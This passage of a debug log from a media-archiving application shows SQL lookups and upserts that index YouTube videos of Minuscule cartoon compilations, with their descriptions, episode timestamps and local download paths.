\r\nIn this compilation:\r\n00:00:00 | The Caterpillar and the Brook | S01E08\n00:04:49 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:09:32 | A Cruel World | S01E46\n00:14:21 | Lettuce | S01E48\n00:19:08 | Caterpillars in Pairs | S01E06\n00:23:55 | Shell-Less | S01E19\n00:28:38 | The Ladybug | S01E01\n00:33:14 | Leech | S01E73\n00:37:39 | Narcissus | S01E47\n00:42:28 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:47:16 | Caterpillar Dream | S01E20\n00:52:05 | The Apple Of Concord | S01E36\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#caterpillar #brook #leaves #bush #Caterpillar #Butterfly #Countryside #Transformation #Minuscule #nature #insects #ladybugs #animatedseries", "The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation", "uNjdfWr28I4", 3443, false, 4, "https://www.youtube.com/watch?v=uNjdfWr28I4", "/downloads/Miniscule Season 1/2025-10-04 The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation/The Caterpillar and the Brook 🐛 Minuscule 🍃 70' Compilation [uNjdfWr28I4].mkv", false, ~U[2025-10-04 18:00:56Z]] 00:54:32.319 [debug] QUERY OK source="sources" db=0.4ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.320 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-02 10:00:35Z], 4] 00:54:32.324 [debug] QUERY OK source="media_items" db=2.3ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hyperactive | S01E54\n00:04:41 | A Bee’s Night Out | S01E51\n00:09:29 | Nap Time | S01E14\n00:14:18 | Horsefly | S01E21\n00:18:59 | The Wild Bunch | S01E74\n00:23:38 | The Good Education | S01E56\n00:28:25 | Leech | S01E73\n00:32:50 | The Last Supper | S01E25\n00:37:39 | Insect High Velocity | S01E53\n00:42:18 | No Exit | S01E61\n00:46:57 | The Ladybug | S01E01\n00:51:33 | The Zzzzzz Patrol | S01E39\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hyperactive #baby #bees #trouble #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Hyperactive | Minuscule 🍃 70' Compilation", "b5797ec0-f498-475e-801d-e317b3a4dc58", "IF2FOhWnsYM", 3403, false, 4, "https://www.youtube.com/watch?v=IF2FOhWnsYM", 21, "/downloads/Miniscule Season 1/2025-10-02 Hyperactive | Minuscule 🍃 70' Compilation/Hyperactive | Minuscule 🍃 70' Compilation [IF2FOhWnsYM].mkv", false, false, false, [], 1, ~U[2025-10-02 10:00:35Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hyperactive | S01E54\n00:04:41 | A Bee’s Night Out | S01E51\n00:09:29 | Nap Time | S01E14\n00:14:18 | Horsefly | S01E21\n00:18:59 | The Wild Bunch | S01E74\n00:23:38 | The Good Education | S01E56\n00:28:25 | Leech | S01E73\n00:32:50 | The Last Supper | S01E25\n00:37:39 | Insect High Velocity | S01E53\n00:42:18 | No Exit | S01E61\n00:46:57 | The Ladybug | S01E01\n00:51:33 | The Zzzzzz Patrol | S01E39\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hyperactive #baby #bees #trouble #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Hyperactive | Minuscule 🍃 70' Compilation", "IF2FOhWnsYM", 3403, false, 4, "https://www.youtube.com/watch?v=IF2FOhWnsYM", "/downloads/Miniscule Season 1/2025-10-02 Hyperactive | Minuscule 🍃 70' Compilation/Hyperactive | Minuscule 🍃 70' Compilation [IF2FOhWnsYM].mkv", false, ~U[2025-10-02 10:00:35Z]] 00:54:32.325 [debug] QUERY OK source="sources" db=0.4ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.326 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-20 18:00:15Z], 4] 00:54:32.332 [debug] QUERY OK source="media_items" db=4.7ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Noodle Battle | S01E70\n00:09:15 | Ants | S01E02\n00:14:04 | The Infernal Anthill | S01E35\n00:18:24 | The Last Supper | S01E25\n00:23:13 | The Dung Beetle Battle | S01E15\n00:27:58 | Cherry Tomato | S01E77\n00:32:37 | The Bridge On The River Zzzzzzz | S01E18\n00:37:24 | A Cruel World | S01E46\n00:42:13 | Ladybugs | S01E17\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #noodle #spider #fly #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation", "3bc183c1-c5b5-4ba6-aac6-af0627a21abd", "A_VDP0fnvRw", 3399, false, 4, "https://www.youtube.com/watch?v=A_VDP0fnvRw", 22, "/downloads/Miniscule Season 1/2025-09-20 The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation [A_VDP0fnvRw].mkv", false, false, false, [], 1, ~U[2025-09-20 18:00:15Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Noodle Battle | S01E70\n00:09:15 | Ants | S01E02\n00:14:04 | The Infernal Anthill | S01E35\n00:18:24 | The Last Supper | S01E25\n00:23:13 | The Dung Beetle Battle | S01E15\n00:27:58 | Cherry Tomato | S01E77\n00:32:37 | The Bridge On The River Zzzzzzz | S01E18\n00:37:24 | A Cruel World | S01E46\n00:42:13 | Ladybugs | S01E17\n00:46:52 | The Wild Bunch | S01E74\n00:51:31 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #noodle #spider #fly #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation", "A_VDP0fnvRw", 3399, false, 4, "https://www.youtube.com/watch?v=A_VDP0fnvRw", "/downloads/Miniscule Season 1/2025-09-20 The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🍃 70' Compilation [A_VDP0fnvRw].mkv", false, ~U[2025-09-20 18:00:15Z]] 00:54:32.333 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=12.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.335 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=10.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-18 10:01:02Z], 4] 00:54:32.338 [debug] QUERY OK source="media_items" db=2.4ms idle=10.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | No Luck | S01E62\n00:09:24 | Out Of A Tin Can | S01E65\n00:13:59 | The Persevering One | S01E31\n00:18:40 | The Escapist | S01E59\n00:23:09 | The Mosquito | S01E58\n00:27:18 | Bless You! | S01E66\n00:31:30 | King Size Camembert | S01E45\n00:36:08 | Nap Time | S01E14\n00:40:57 | Windswept | S01E68\n00:45:46 | Interior Cobwebs | S01E64\n00:50:13 | The Winter Of Our Discontent | S01E67\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #Luck #Chase #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 65' Compilation", "1bf1c9dc-d7bb-4963-b963-a9782b4d54cc", "TY1vE-0csIE", 3334, false, 4, "https://www.youtube.com/watch?v=TY1vE-0csIE", 23, "/downloads/Miniscule Season 1/2025-09-18 Quiet! | Minuscule 🍃 65' Compilation/Quiet! | Minuscule 🍃 65' Compilation [TY1vE-0csIE].mp4", false, false, false, [], 1, ~U[2025-09-18 10:01:02Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | No Luck | S01E62\n00:09:24 | Out Of A Tin Can | S01E65\n00:13:59 | The Persevering One | S01E31\n00:18:40 | The Escapist | S01E59\n00:23:09 | The Mosquito | S01E58\n00:27:18 | Bless You! | S01E66\n00:31:30 | King Size Camembert | S01E45\n00:36:08 | Nap Time | S01E14\n00:40:57 | Windswept | S01E68\n00:45:46 | Interior Cobwebs | S01E64\n00:50:13 | The Winter Of Our Discontent | S01E67\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #Luck #Chase #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 65' Compilation", "TY1vE-0csIE", 3334, false, 4, "https://www.youtube.com/watch?v=TY1vE-0csIE", "/downloads/Miniscule Season 1/2025-09-18 Quiet! | Minuscule 🍃 65' Compilation/Quiet! | Minuscule 🍃 65' Compilation [TY1vE-0csIE].mp4", false, ~U[2025-09-18 10:01:02Z]] 00:54:32.339 [debug] QUERY OK source="sources" db=0.4ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.340 [debug] QUERY OK source="media_items" db=0.8ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-16 06:00:47Z], 4] 00:54:32.345 [debug] QUERY OK source="media_items" db=2.5ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | On Your Marks, get set, go ! | S01E75\n00:04:48 | Insect High Velocity | S01E53\n00:09:27 | A Rolling Snail Gathers No Moss | S01E49\n00:14:03 | A Snail’s Dream | S01E11\n00:18:52 | Leech | S01E73\n00:23:17 | The Wild Bunch | S01E74\n00:27:56 | Horsefly | S01E21\n00:32:38 | The Dung Beetle Battle | S01E15\n00:37:23 | The Zzzzzz Patrol | S01E39\n00:42:02 | Ladybugs | S01E17\n00:46:41 | The Persevering One | S01E31\n00:51:23 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#race #competitor #slow #steady #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation", "52582135-ae48-4ba3-bd61-fa28689eaa32", "uktE4GlcuNc", 3390, false, 4, "https://www.youtube.com/watch?v=uktE4GlcuNc", 24, "/downloads/Miniscule Season 1/2025-09-16 On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation/On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation [uktE4GlcuNc].mkv", false, false, false, [], 1, ~U[2025-09-16 06:00:47Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | On Your Marks, get set, go ! | S01E75\n00:04:48 | Insect High Velocity | S01E53\n00:09:27 | A Rolling Snail Gathers No Moss | S01E49\n00:14:03 | A Snail’s Dream | S01E11\n00:18:52 | Leech | S01E73\n00:23:17 | The Wild Bunch | S01E74\n00:27:56 | Horsefly | S01E21\n00:32:38 | The Dung Beetle Battle | S01E15\n00:37:23 | The Zzzzzz Patrol | S01E39\n00:42:02 | Ladybugs | S01E17\n00:46:41 | The Persevering One | S01E31\n00:51:23 | The Ladybug | S01E01\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#race #competitor #slow #steady #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation", "uktE4GlcuNc", 3390, false, 4, "https://www.youtube.com/watch?v=uktE4GlcuNc", "/downloads/Miniscule Season 1/2025-09-16 On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation/On Your Marks, get set, go ! | Minuscule 🍃 70' Compilation [uktE4GlcuNc].mkv", false, ~U[2025-09-16 06:00:47Z]] 00:54:32.346 [debug] QUERY OK source="sources" db=0.5ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.347 [debug] QUERY OK source="media_items" db=0.9ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-02 06:00:22Z], 4] 00:54:32.351 [debug] QUERY OK source="media_items" db=2.3ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Bridge On The River Zzzzzzz | S01E18\n00:04:46 | Goofing Off | S01E37\n00:09:27 | The Shellproof Nut | S01E40\n00:14:16 | Ants | S01E02\n00:19:05 | Cicadas’ Song | S01E16\n00:23:54 | Zzzeplin | S01E22\n00:28:44 | Bananas | S01E69\n00:33:22 | The Quest For The Pink Lollipop | S01E32\n00:38:03 | The Escapist | S01E59\n00:42:33 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bridge #ants #crack #plane #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation", "a7b32df4-a88d-4e0c-bcee-01575964654b", "W2Sm6PTWv_Y", 2843, false, 4, "https://www.youtube.com/watch?v=W2Sm6PTWv_Y", 25, "/downloads/Miniscule Season 1/2025-09-02 The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation/The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation [W2Sm6PTWv_Y].mp4", false, false, false, [], 1, ~U[2025-09-02 06:00:22Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Bridge On The River Zzzzzzz | S01E18\n00:04:46 | Goofing Off | S01E37\n00:09:27 | The Shellproof Nut | S01E40\n00:14:16 | Ants | S01E02\n00:19:05 | Cicadas’ Song | S01E16\n00:23:54 | Zzzeplin | S01E22\n00:28:44 | Bananas | S01E69\n00:33:22 | The Quest For The Pink Lollipop | S01E32\n00:38:03 | The Escapist | S01E59\n00:42:33 | The Infernal Anthill | S01E35\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bridge #ants #crack #plane #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation", "W2Sm6PTWv_Y", 2843, false, 4, "https://www.youtube.com/watch?v=W2Sm6PTWv_Y", "/downloads/Miniscule Season 1/2025-09-02 The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation/The Bridge On The River Zzzzzzz | Minuscule🍃 55' Compilation [W2Sm6PTWv_Y].mp4", false, ~U[2025-09-02 06:00:22Z]] 00:54:32.351 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.352 [debug] QUERY OK source="media_items" db=0.7ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-28 10:00:12Z], 4] 00:54:32.356 [debug] QUERY OK source="media_items" db=2.2ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Ugly | S01E05\n00:04:47 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:09:35 | Caterpillars in Pairs | S01E06\n00:14:22 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:19:05 | Caterpillar Dream | S01E20\n00:23:55 | Narcissus | S01E47\n00:28:43 | Shell-Less | S01E19\n00:33:27 | Lettuce | S01E48\n00:38:13 | The Apple Of Concord | S01E36\n00:43:00 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ugly #admiration #caterpillar #butterfly #ocean #sunset #beach #Minuscule #nature #insects #ladybugs #animatedseries", "Ugly | Minuscule 🍃 60' Compilation", "a0260a68-3d5f-4e64-8853-619e640cee0c", "A3ltLruHCPQ", 2900, false, 4, "https://www.youtube.com/watch?v=A3ltLruHCPQ", 26, "/downloads/Miniscule Season 1/2025-08-28 Ugly | Minuscule 🍃 60' Compilation/Ugly | Minuscule 🍃 60' Compilation [A3ltLruHCPQ].mkv", false, false, false, [], 1, ~U[2025-08-28 10:00:12Z], ~U[2025-12-14 